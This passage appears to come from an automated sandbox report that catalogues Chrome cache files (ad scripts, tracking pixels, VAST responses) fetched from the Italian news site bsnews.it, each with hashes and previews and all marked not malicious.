Preview:	......JFIF.............C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."...............................................................................u...5...`f...D...o..V.#.1e...h.8Yw#S~...K L-x.nO.).......:.....4..o\|...s.r.gC^.O}^....Z.I..mc....0f\|..P.=......-Z.P...g..0l.mc.5.....z}s\).+S....^....#.{/[$A....>g....s..J.s..j.i.......p..!.;\.,........xk.2....xI[..... e...^...K..y.."wo".mtW.......g3..o4W..b.2;..-. J..a..DS..2..{...j..7....1.. ......N...H....R7...q.'...)a.\|ni..F.H.....6.2..t.{.S.....:..nL<........F....4v...-.).wG....1<.'&.O?.~u..?e....=..[...B...P...T..ab.j.BD...d&.. ..C.#b4..%hl..].b\{9........X.T..3....A..)L.._F...\..{.JuM.....J....b......k..s..Q.B..=..TK....&.7h...#S.o.H.$.1a$!.K..&X.....7.$."...$..%....$..................................!. "1.#2$3A4...........o.......X.W..;.b.==V....te...o.SN..[.....15..G,d.:!..Y.R....4 .Y...x_j6wZ

Chrome Cache Entry: 503

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.403590365002627
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tJ8/V+/B6dS8p:6v/lhPfA/UJ63p
MD5:	EDB2AA47631C67A43709D4CCD2501E33
SHA1:	87475B448C53CF32FFE78AB121DB8BAB41D478E0
SHA-256:	6019C3C9E47DC991F8D9937DEAFBB0740C2E61E321324798CB508773B0814824
SHA-512:	65820EEAF261F01988570AFE7866D9B83901950DFBD89542009A1FAAAE520E1AF2FA08789B7E94A64B0E1A3BDC39256354EFE1D38856621851DD65E80505DBB2
Malicious:	false
Reputation:	low
URL:	https://match.sharethrough.com/sync/v1?source_id=f832af09fdaea37e940528ab&source_user_id=0-4e3331b2-4608-5def-4b44-37da34665e42$ip$102.165.48.43&gdpr=0&gdpr_consent=
Preview:	.PNG........IHDR.....................IDATx.c........o.......IEND.B`.

Chrome Cache Entry: 504

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32011)
Category:	downloaded
Size (bytes):	45770
Entropy (8bit):	5.456692652983758
Encrypted:	false
SSDEEP:	768:teVfP51mXH9TnhprQbpHoTL2oTpiwTpcKn0RTgCJUcQZtgc4eoTLPIh3ihhurVW:t2maHApimmTgUUcQZtgc4eofJ84
MD5:	29491056E58CF4EFDEB29E907F0BD15F
SHA1:	9D3140CFBA70A930A99E097BB669E115507433D8
SHA-256:	43C7B2C285747D3392092722868539EA7EE7422F6897F1B33362BC5D97259CD0
SHA-512:	B42313260DAD9F81F3C87A038E7C257D00466594DD2BAABF7D36FECF42C4274E72441E7A723D231C69C49F7D50243B314CA618078C63ADB10DC4D8CCCD70F54E
Malicious:	false
Reputation:	low
URL:	https://c.amazon-adsystem.com/bao-csm/direct/csm_othersv5.js
Preview:	window.amzncsm=window.amzncsm\|\|{},window.amzncsm.rmD\|\|function(){var initCSM,amzncsm=amzncsm\|\|{};amzncsm.errorCodes={SLOT_INSIDE_UNFRIENDLY_FRAME:1,UNSUPPORTED_BROWSER:2,ERROR_SENDING_PIXEL:3,INVALID_API:4},amzncsm.errorBeaconSent=!1,amzncsm.errors=[],amzncsm.reportErrors=function(a,b,c){var d,e,f="https://",g=amzncsm.host\|\|"aax.amazon-adsystem.com",h="/x/px/";for(c&&amzncsm.errors.push(c),e=0;e<amzncsm.errors.length;e++)d={adViewability:[{error:{m:amzncsm.errors[e]}}],bm:!!amzncsm.bmk},(new Image).src=f+g+h+b+"/"+JSON.stringify(d)+"?cb="+Math.round(1e7*Math.random());amzncsm.errors=[],amzncsm.errorBeaconSent=!0,amzncsm.detachAllHandlers&&"function"==typeof amzncsm.detachAllHandlers&&amzncsm.detachAllHandlers()},function(a,b){function c(a){return a?a.replace(/^\s+\|\s+$/g,""):void 0}function d(a){if(a&&a.s){var b,c=a.s.length>0?a.s[0]:"",d=a.s.length>1?a.s[1]:"";c&&(b=c.match(k)),b&&3==b.length\|\|!d\|\|(b=d.match(j)),b&&3==b.length&&(a.f=b[1],a.l=b[2])}}function e(a,b){if(b=b\|\|{},!a)return

Chrome Cache Entry: 505

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2087
Entropy (8bit):	5.2471389909863335
Encrypted:	false
SSDEEP:	48:ivYvFDqX84pig8riY1mPahvhXcAFgpB5EFIVHuxuNz/0AAPNkK:sYdDqs4HYLhX/gLnQf
MD5:	5486C27E8D16BE0F2123A33B9DAF8793
SHA1:	E83C6F573A78A503E09ED61D72D975C1E8854DF0
SHA-256:	040580E5E63CB2B9AAC89F405BCBD577FC1044D50C152169F418C5151955D720
SHA-512:	4C298FCC7E707BF9B6214505D27CE6D2EA57F563383BBD1EE62BD9E3F4E88C15707ABB22FFC9E54649DED4C142CF4C6530AC2D822FA49370213D7AAD94A0150E
Malicious:	false
Reputation:	low
Preview:	(function (sn, asap) {...var tnc = this && this.addTPScript ? this : window[(document.querySelector('script#tnc_core') \|\| {}).global \|\| '__tnc'];...tnc && tnc.addTPScript ? tnc.addTPScript(sn, async function(){....try {.....var _this = this......, tncid = this.tncid \|\| ''......, eid = this.eid \|\| ''......, vendorId = '22ddc501-2405-4124-96a6-b12c2f0afda9'......, tpIDPlaceholder = '#PM_USER_ID'......, tncendpoint = `https://im.tncid.app/gif?eid=${eid}&tncid=${tncid}&3puuid=${tpIDPlaceholder}&3pid=${vendorId}`......, vendorendpoint = `https://image6.pubmatic.com/AdServer/UCookieSetPug?gdpr=1&rd=${encodeURIComponent(tncendpoint)}&gdpr_consent=`......, options = {.......height: 0,.......width: 0,.......tabindex: -1,.......'aria-hidden': true,.......style: 'position:absolute!important;top:0px!important;left:0px!important;width:0!important;height:0!important;border:0!important;'......}, body = document.querySelector('body')......// verifica se pubmatic deve essere erogato una volta al giorno

Chrome Cache Entry: 506

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=lijit_dbm&google_hm=SVpVVEFCWkhEeDlGQkJqTlJmS1dOd21f&gdpr=0
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 507

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.215589437882739
Encrypted:	false
SSDEEP:	3:kf/R7TUEXWm+:kfJ7RO
MD5:	49C42B42E9F11F43A033E26E8A58134E
SHA1:	58AEC5C3CC43F46B31FDA132523E43AF062D2822
SHA-256:	D42D861518284CC29AC9A39883C28C37DFA46156BA0B271E9F5CB04E04EC4029
SHA-512:	30E269BDF351854FC1F3F9994E2F12B18B9FCB37D67B72EFD4CC3FC389CBE861756C52C7E61282749A1601231745734957A297D87FC9039005BA8C6D567F55F1
Malicious:	false
Reputation:	low
Preview:	GET /cache: Missing required parameter uuid.

Chrome Cache Entry: 508

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (701), with no line terminators
Category:	downloaded
Size (bytes):	701
Entropy (8bit):	4.919274498995833
Encrypted:	false
SSDEEP:	12:ckSKAoFDVpFsYszU/dBcSY3pwSC6N5V9jQXEEgHAaDp9PSuzeYwQ:ckSpoFDVpFsYsQXY3rC6VC0EgHAyKXY3
MD5:	328B8123661ABDD5F4A0C695E7AA9DCC
SHA1:	4164F78BB52E9F2BFBB7AE5FD519B4638063C1F0
SHA-256:	27DD9B075CC59CF5F3C0F6EE075F4BD113782D81CE30A4F16AAC669ECFDC4FA2
SHA-512:	69824B237C9B22BF0B355EC684FF5DB7FB13090421AB21BA4A167F453B598B2550B04D9586A9DFBA619E036F6D5723FA088214A5C30831C62224E61A6C260B5D
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-image-cdn/dist/image-cdn.js?minify=false&ver=132249e245926ae3e188
Preview:	!function(){function t(){if(this.complete){const e=this.getAttribute("data-lazy-src");if(e&&this.src!==e)return void this.addEventListener("onload",t);const n=this.width,d=this.height;n&&n>0&&d&&d>0&&(this.setAttribute("width",n),this.setAttribute("height",d),i(this))}else this.addEventListener("onload",t)}var e=function(){const e=document.querySelectorAll("img[data-recalc-dims]");for(let i=0;i<e.length;i++)t.call(e[i])},i=function(t){t.removeAttribute("data-recalc-dims"),t.removeAttribute("scale")};"undefined"!=typeof window&&"undefined"!=typeof document&&("loading"===document.readyState?document.addEventListener("DOMContentLoaded",e):e()),document.body.addEventListener("is.post-load",e)}();

Chrome Cache Entry: 509

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	27
Entropy (8bit):	4.236368983644951
Encrypted:	false
SSDEEP:	3:ILNHX9ZKIcn:YVXOIc
MD5:	5F631DB49306435AE8CDB4D0C36F1263
SHA1:	F8B283D1F2A7B552120B9878D8F15E977AA683B4
SHA-256:	A71702232A771B558B12F8C0012A15F5652B500FD2E33464D283406CEE36754D
SHA-512:	FA9B8718F26F4724FF17A3927AF43E626BDE950F4D0B3E51D126F4E3D971D990630848E9DFA21E12A7ADC7D4F7AFD1D73471941191D115153BF9498236B612A6
Malicious:	false
Reputation:	low
URL:	"https://ice.360yield.com/advast?p=22211427&w=16&h=9&minduration=1&maxduration=60&player_width=535&player_height=301&referrer=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&gdpr=0&gdpr_consent=&vast_version=3&vpaid_version=2&video_format_type=outstream&schain=1.0,1!movingup.it,109,1,,,!viralize.com,1172,1,,,"
Preview:	<VAST version="2.0"></VAST>

Chrome Cache Entry: 510

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.7628743492292966
Encrypted:	false
SSDEEP:	3:6zLcM1sZ9BcyAHn:0cMSztAH
MD5:	B59FFA18DAD64BE6459B90E0117C2E94
SHA1:	40AA97C33618FB5459F4B3B8D9B22022B6616C60
SHA-256:	5F789CCAE156B160492D89A6146B1974D15128790B74ABB995D8E89FA44CDE5E
SHA-512:	19C89EAB341DB35E83AA2AFB5D41707020AF849BA0790CBA277BE2C3BB09E6E53AD9B009410783228CAF8BB82E6B81AB97B2DFD1969755EE47D9668A97F9F7A8
Malicious:	false
Reputation:	low
URL:	https://id5-sync.com/k/264.gif?puid=a109dc60-dc7c-45e5-ab53-e2448a53420f&ttl=%%TTL%%
Preview:	could not find initiating sync partner null

Chrome Cache Entry: 512

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	54497
Entropy (8bit):	6.08196876521991
Encrypted:	false
SSDEEP:	768:Wm5QJJS9xX/MkCN72nMexg7fNqFH+s1twkrgpM9B7yFdZjQ4qEv+zK/LauTYh+I2:50E3TeQoR/LauqSIarKLSjNSvXY
MD5:	8EA0A097E6126C091A884607FDC3EB33
SHA1:	B3E093F0DF616EB7BBFC205F447A7161EBEB4033
SHA-256:	9DDAB89F3AD7E4411CA08EBB17974DB41DB2DE76A44C872A120C3BB445B1BF48
SHA-512:	1679A84F7A9C0D0B1FD41D06970A283A7D2064A17E05D1962E2606D65848DDEE1A1CB77E2923973C3570622609B61A0EE73CD09C6DC2E602D9AEC2443430E02A
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/gampad/ads?pvsid=1536995679409651&correlator=2406699025139339&eid=31079957%2C31081973%2C95327887%2C676982961%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2CBSNEWS-DSK-Spalla-dx-300X600-ATF&enc_prev_ius=%2F0%2F1&prev_iu_szs=300x250%7C300x600&ifi=2&didk=315054745&sfv=1-0-40&eri=1&sc=1&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&abxe=1&dt=1711615890346&lmt=1711560111&adxs=842&adys=593&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0&ucis=2&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=324x636&msz=324x0&fws=4&ohw=324&psts=AOrYGskLglVJDo4Ukk29bFmosV1TZI4B1gjDftTBwJFzLoZVG9fVfXuFjY-eh0-FDR-hLaow7OPAuTtafYQUTFA&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvQlNORVdTLURTSy1TcGFsbGEtZHgtMzAwWDYwMC1BVEYiLFtdXV1dLG51bGwsM10.&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Doptical%26refreshCount%3D0%26amznbid%3D1%26amznp%3D1&cust_params=consent%3Dyes&adks=979779281&frm=20&eo_id_str=ID%3Dcc6c7834f606d8cb%3AT%3D1711615883%3ART%3D1711615883%3AS%3DAA-AfjaA5FLn8-B8c9rY-TlRBBKM
Preview:	{"/150134580/BSNEWS-DSK-Spalla-dx-300X600-ATF":["html",0,null,null,1,600,300,0,1,null,null,1,1,null,[138416132735],[4678049714],[57768020],[2311601171],[257432],null,null,null,null,null,null,1,null,null,null,null,null,null,null,"CPDmjIrKloUDFdLhKAUd8S4GOQ",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"2",null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,[]]}.<!doctype html><html><head><script>var jscVersion = 'r20240326';</script><script>var google_casm=[];</script></head><body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><script>window.dicnf = {ebrpfa: true,};</script><script data-jc="40" data-jc-version="r20240326" data-jc-flags="["x%278446'9efotm(&20067;>8&>`dopb/%<1732261!=\|vqc)!7201061?'9efotm(&20723;>:&>`dopb/%<1245;05!=nehu`~"]">(function(){'use strict';/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var q=this\|

Chrome Cache Entry: 513

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://pixel.mathtag.com/misc/img?mop_seq=1:1&mt_cb=968907&check=e37d6605-2f8b-4a00-8c65-7b6f95886a26&mop_top=&final&timings=0:4504\|&errors=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 514

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1119)
Category:	dropped
Size (bytes):	1158
Entropy (8bit):	5.509982292872726
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTGA2FbzXh6vEFM+sBntvwCCZV9UkABuUDTuRXKr5c:c2Yz8TaYviMnhYJABnTuRXEc
MD5:	1A046B14D7BFBF52885EF6D644B7F20B
SHA1:	ED7C109FAD821573119C9E6FC556423C6743CDDC
SHA-256:	AE54EE809E55CF2D11A2054F447C24EDB1BD178C8B1A8F58C77F0BC4F2AA9960
SHA-512:	3F6B73594CAF1C8A1558F5287B386D0CB34B67A805CAC252C8A731F5F4E98282C5C1697DE8509A8B1ECDB6DB4DB12D9EE6397C7852E361AAFC57215892F42F4E
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=demandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://cm.g.doubleclick.net/pixel?google_nid=tremor_video_dbm&google_hm=NWM5OWEwMDliZDE4NGQ1Y2EzYjc4ODUwMDNiNzIwZTM%3D&ri

Chrome Cache Entry: 515

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17044)
Category:	dropped
Size (bytes):	17045
Entropy (8bit):	5.355264202508384
Encrypted:	false
SSDEEP:	384:zkDoVsZuslHutZXrjO/Vg/6IWDxJR3KIjbIC:zkUGZuslHSqVg/ID5fIC
MD5:	157B63B1E80D2D5BB6B26ABAB55F56FC
SHA1:	3070D0E4B249B8B09C5ADA288948B901305B636E
SHA-256:	9BC10D5B4562DCA6F3938113D374024A8029F001A28334E50D22BECBC1A29767
SHA-512:	2AE201BD5E18485EFBE00939FC28B8FB36D0AEBF54C8F251F0D3B83019ADA0D3464319AD1B3D752C98F788868228E9535F07FF10D800EEC4515ED2BC3DE58FEB
Malicious:	false
Reputation:	low
Preview:	!function(e){"use strict";const t=/pbstck:debug/.test(window.location.href),n=!!window.localStorage.getItem("pbstck"),o=(e,o,...r)=>{(t\|\|n)&&console[e](`[pbstckUserSessions-aadee70] [${performance.now().toFixed(2)}] ${o}`,...r.length?r:"")},r=(e,...t)=>{o("warn",e,...t)},i=(e,...t)=>{o("log",e,...t)},a=(e,...t)=>{o("error",e,...t)},s=["pbstck:","pbstck_context:"],c=()=>{const e=document.getElementsByTagName("meta"),t=Array.from(e).filter((e=>d(s,e.name))),n=new Map;t.forEach((e=>{const t=u(e.name);n.has(t)&&r(`Custom dim ${t} is present many times`),n.size<20?n.set(t,e.content):r(`Skipping custom dim ${t} with ${e.content}: limit of 20 keys exceeded`)}));const o=Object.assign({},...Array.from(n.entries()).map((([e,t])=>({[e]:t}))));return n.size>0&&i("Custom dim found :",o),o},u=e=>e.replace(/^\w+:/,""),d=(e,t)=>e.some((e=>t.startsWith(e)));var m,p;!function(e){e.HISTORY_MUTATION="_pbstck_historyMutation",e.NEW_PAGE="_pbstck_pageView",e.SESSION_TRACKING_AUTHORIZED="_pbstck_sessionTrack

Chrome Cache Entry: 516

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://pmp.mxptint.net/sn.ashx?ak=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 517

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1060)
Category:	downloaded
Size (bytes):	1099
Entropy (8bit):	5.432519646071734
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hT8FbzXh6vEFM+sBntvwCCZV9UkCrTuRXKr5c:c2Yz8TOYviMnhYJCTuRXEc
MD5:	B163E6730775886E96F077A6375DA341
SHA1:	1A78329FC94E7217655955FA22D10C2736AD7110
SHA-256:	7CBF8054ADE00686A825B68DDF7FBB20474EF333AE72F94087993DA130DA4672
SHA-512:	49F38FC6BB159B3D49E9FCE65D9048DD574AB43D7351546D93EB2C422C395CFC320C518A69E9D21CEA468155FB1A9C53E4194966AF8A30FC2054ACB8BAFCC147
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=demandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=portodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://s.company-target.com/s/mctv?xuid=5c99a009bd184d5ca3b7885003b720e3&rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><

Chrome Cache Entry: 518

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42459), with no line terminators
Category:	downloaded
Size (bytes):	42459
Entropy (8bit):	5.259180669481284
Encrypted:	false
SSDEEP:	768:3gk8LizPQrDEYH68mRkR7vObgIxgu8xECCAmbGzG+2ARy:IvObgIxgu8xNfmbT+2ARy
MD5:	1F405E6A08FD938ED37BD0C141AF3929
SHA1:	48BC1347FABCF41C0E5BF5D8920C5D9AA6C92607
SHA-256:	2AC6AEF1D4396FBF199AE8DC0A823013452CA6573BD210A77BBAB1AC10F93FB5
SHA-512:	8DD44BD96394C833D64FF44C2303984306DF080463205397B21678B1E6EBC3CEE3C9265D60EDB5E08F0A23A13A9B91D381635DD8D7EDE032CBFA35954FDAA025
Malicious:	false
Reputation:	low
URL:	https://static.criteo.net/js/ld/publishertag.ids.js
Preview:	!function(){"use strict";(R=r=r\|\|{})[R.Error=0]="Error",R[R.Warning=1]="Warning",R[R.Debug=2]="Debug";var r,L=["color: #fff;","background: #ff8f1c;","display: inline-block;","padding: 1px 4px;","border-radius: 3px;"].join(" "),d=(n.Log=function(e,t){var o;n.LOGLEVEL<e\|\|(e=r[e].toUpperCase(),o=0<(o=window.navigator.userAgent).indexOf("MSIE ")\|\|0<o.indexOf("Trident/"),window.console&&(o?console.log("[PubTag] ".concat(e,": ").concat(t)):console.log("%cPubTag",L,"".concat(e,": ").concat(t))))},n.Debug=function(e){n.Log(r.Debug,e)},n.Warning=function(e){n.Log(r.Warning,e)},n.Error=function(e){n.Log(r.Error,e)},n.LOGLEVEL=r.Error,n);function n(){}e.getHighestAccessibleWindow=function(e){var t=e,o=!1;try{for(;t.parent.document!==t.document;){if(!t.parent.document){o=!0;break}t=t.parent}}catch(e){o=!0}return{topFrame:t,err:o}},e.getHighestAccessibleUrl=function(e){var t,o=e.topFrame;if(!e.err)return o.location.href;try{var n=null==(t=o.top)?void 0:t.location.href;if(n)return n}catch(e){}try{va

Chrome Cache Entry: 519

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19300)
Category:	dropped
Size (bytes):	545184
Entropy (8bit):	5.429956592029078
Encrypted:	false
SSDEEP:	6144:mjS2IJfOPwGnNl48bJLPGMZR8rD16QExWydgwv9bR/h5nRDuTU86x:mjCG1Y6QExWyzVDuTU86x
MD5:	1DE4D4F556A2EEC09E04937A722D5963
SHA1:	75367104CA65AFC25E9C2F137B65EA43E26FD41B
SHA-256:	1CD36721893C98FA3CAA47903B39D9C17C06D1E9E4C2366347771872A14C63FE
SHA-512:	CD4DFFD29B95AE99F9FA00112EFDD7DC2FF8E78BD4E5990EE02A6A3B3F3B2E6612CDC5C46CFA0FEDA474BEC9CA2C8A56BF8C96E19152CAE3F2734A36253BD69C
Malicious:	false
Reputation:	low
Preview:	;/FB_PKG_DELIM/.."use strict";(function(){var a=typeof globalThis!=="undefined"&&globalThis\|\|typeof self!=="undefined"&&self\|\|typeof global!=="undefined"&&global;if(typeof a.AbortController!=="undefined")return;var b=function(){function a(){this.__listeners=new Map()}a.prototype=Object.create(Object.prototype);a.prototype.addEventListener=function(a,b,c){if(arguments.length<2)throw new TypeError("TypeError: Failed to execute 'addEventListener' on 'CustomEventTarget': 2 arguments required, but only "+arguments.length+" present.");var d=this.__listeners,e=a.toString();d.has(e)\|\|d.set(e,new Map());var f=d.get(e);f.has(b)\|\|f.set(b,c)};a.prototype.removeEventListener=function(a,b,c){if(arguments.length<2)throw new TypeError("TypeError: Failed to execute 'addEventListener' on 'CustomEventTarget': 2 arguments required, but only "+arguments.length+" present.");var d=this.__listeners,e=a.toString();if(d.has(e)){var f=d.get(e);f.has(b)&&f["delete"](b)}};a.prototype.dispatchEvent=function(a){if

Chrome Cache Entry: 520

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	11174
Entropy (8bit):	7.984211351747371
Encrypted:	false
SSDEEP:	192:HqA89BoHnf3jlJpa7HMngSNbto53nhq4+OimyB+YNh4jZplLzFjpN7kcV+v:HqA0enfjvpaggSQ544+OimythcLdpCVv
MD5:	261C983F0E5742BB2FBCA03657FBB482
SHA1:	081F5EA116EC4725C1EEBC43A1E8E8850300603A
